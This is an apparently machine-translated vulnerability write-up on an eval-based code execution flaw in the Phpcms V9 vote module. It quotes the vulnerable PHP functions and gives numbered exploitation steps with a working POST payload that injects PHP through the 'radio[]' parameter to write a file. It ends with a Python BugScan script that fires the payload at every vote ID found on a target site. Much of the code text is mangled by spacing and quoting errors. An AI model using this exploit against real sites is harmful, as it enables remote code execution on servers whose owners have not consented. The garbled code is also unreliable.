The String2array () function in Phpcms V9 uses the eval function,code execution vulnerability can occur in multiple places/phpsso_server/phpcms/libs/functions/Global. Func.PHP/** * Convert a string to an array * * @param string $data String * @return Arrays returns an empty array if data is empty*/functionString2array ($data) {if($data= = "")return Array();Eval("\ $array =$data;");return $array;} In the file/phpcms/modules/vote/index.in PHP, we find the execution flow of it/** * Processing voting*/ Public functionpost () {$subjectid=intval($_post[' Subjectid ']);if(!$subjectid) ShowMessage (L (' vote_novote '), ' blank ');//Current Site$siteid=SITEID;//to determine whether a vote has been cast or has not yet reached the second polling period$return=$this->check ($subjectid);Switch($return) { Case0:ShowMessage (L (' Vote_voteyes '), "? m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid"); Break; Case-1:ShowMessage (L (' Vote_voteyes '), "? m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid"); Break;}if(!Is_array($_post[' Radio ']) ShowMessage (L (' vote_nooption '), ' blank '); $time=Sys_time; $data _arr=Array(); foreach($_post[' Radio '] as $radio){//receive post-passed radio and convert to $radio array $data _arr[$radio]= ' 1 '; } $new _data= Array2string ($data _arr);//convert to a string into a database//Add to Database$this->vote_data->insert (Array(' userid ' and ' = '$this->userid, ' username ' and ' = '$this->username, ' subjectid ' and ' = '$subjectid,‘‘ Time' = '$time, ' ip ' = =$this->IP, ' data ' =$new _data));//Put the string $new_data in the data//query the polling bonus points and update the membership points$vote _arr=$this->vote->get_one (Array(' subjectid ' = +$subjectid)); Pc_base:: Load_app_class (' receipts ', ' pay ', 0); Receipts::p oint ($vote _arr[' Credit '],$this->userid,$this->username, ' ', ' selfincome ', L (' Vote_post_point ')));//Number of voters updated$this->vote->update (Array(' votenumber ' = ' +=1 '),Array(' subjectid ' = +$subjectid)); ShowMessage (L (' Vote_votesucceed '), "? m=vote&c=index&a=result&subjectid=$subjectid&siteid=$siteid");}/** * * Poll results show*/ Public functionresult () {$siteid=SITEID;$subjectid=ABS(intval($_get[' Subjectid ']));if(!$subjectid) ShowMessage (L (' vote_novote '), ' blank ');//Remove voting title$subject _arr=$this->vote->get_subject ($subjectid);if(!Is_array($subject _arr)) ShowMessage (L (' vote_novote '), ' blank ');Extract($subject _arr);//Get voting Options$options=$this->vote_option->get_options ($subjectid);//create a new array to store the newly assembled data $total= 0; $vote _data=Array();$vote _data[' total '] = 0;//total of all voting options$vote _data[' votes '] = 0;//Poll number//Get poll result information $infos=$this->vote_data->select (Array(' subjectid ' = +$subjectid), ' data ');//cycle Each member's voting recordsforeach($infos as $subjectid _arr) {Extract($subjectid _arr);$arr= String2array ($data);//called String2array into the eval functionforeach($arr as $key=$values){$vote _data[$key]+=1;}$total+=Array_sum($arr);$vote _data[' Votes ']++ ;}$vote _data[' total '] =$total ;//SEO Settings$SEO= SEO (SITEID, "",$subject,$description,$subject); includeTemplate (' vote ', ' Vote_result ');} So the process of execution is1.first find an ID parameter that can be voted on Subjectid2. To initiate a vote,Post Data/index.php?m=vote&c=index&a=post&subjectid=xxx&siteid=1Subjectid=1&radio[]=);fputs(fopen(Base64_decode(Cmvhzg1llnboca), W), "Vulnerable test");3.we then look at result, triggering the String2array function/index.php?m=vote&c=index&a=result&subjectid=xxx&siteid=14. And see if there is a readme.php file exists. Attach a python for bugscan detection script#!/usr/bin/dev python#-*-coding:utf-8-*-Import reimport urllibimport urllib2 def get_vote_links (args):Vul_url=args Vote_url= '%sindex.php?m=vote '%Vul_url Code, head, Res, _, _ = Curl.Curl (vote_url) IDs= [] forMiter in Re.finditer (R ' <a href=.*?subjectid= (? p<id>\d+) ", Res, re. Dotall):IDs. Append (Miter.group (' id '))) ifLen (ids) = = 0:returnNonereturn List(set (IDS)) def assign (service, args):ifService = = ' Phpcms ':return True,args Pass def audit (args):Vul_url=args IDs=get_vote_links (args)ifIds: forI in IDs:Exploit_url= '%sindex.php?m=vote&c=index&a=post&subjectid=%s&siteid=1 '% (Vul_url,i) Payload= {' Subjectid ': 1, ' radio[] ': ');fputs(fopen(Base64_decode(ynvnc2nhbi5waha=), W), "vulnerable Test");} post_data= Urllib.UrlEncode(payload) Curl. Curl ('-d '%s '%s '% (Post_data,Exploit_url)) Verify_url= '%sindex.php?m=vote&c=index&a=result&subjectid=%s&siteid=1 '% (Vul_url,i) Curl.Curl (verify_url) Shell_url= '%sbugscan.php '%Vul_url Code, head, Res, _, _ = Curl.Curl (Shell_url)ifCode = = and "Vulnerable test" in Res:Security_hole (vul_url) Passif__name__ = = "__main__":From dummy Import*Audit (Assign (' phpcms ', ' http://www.example.com/") [1])
PHPCMS Front desk arbitrary code Execution Vulnerability (php<5.3)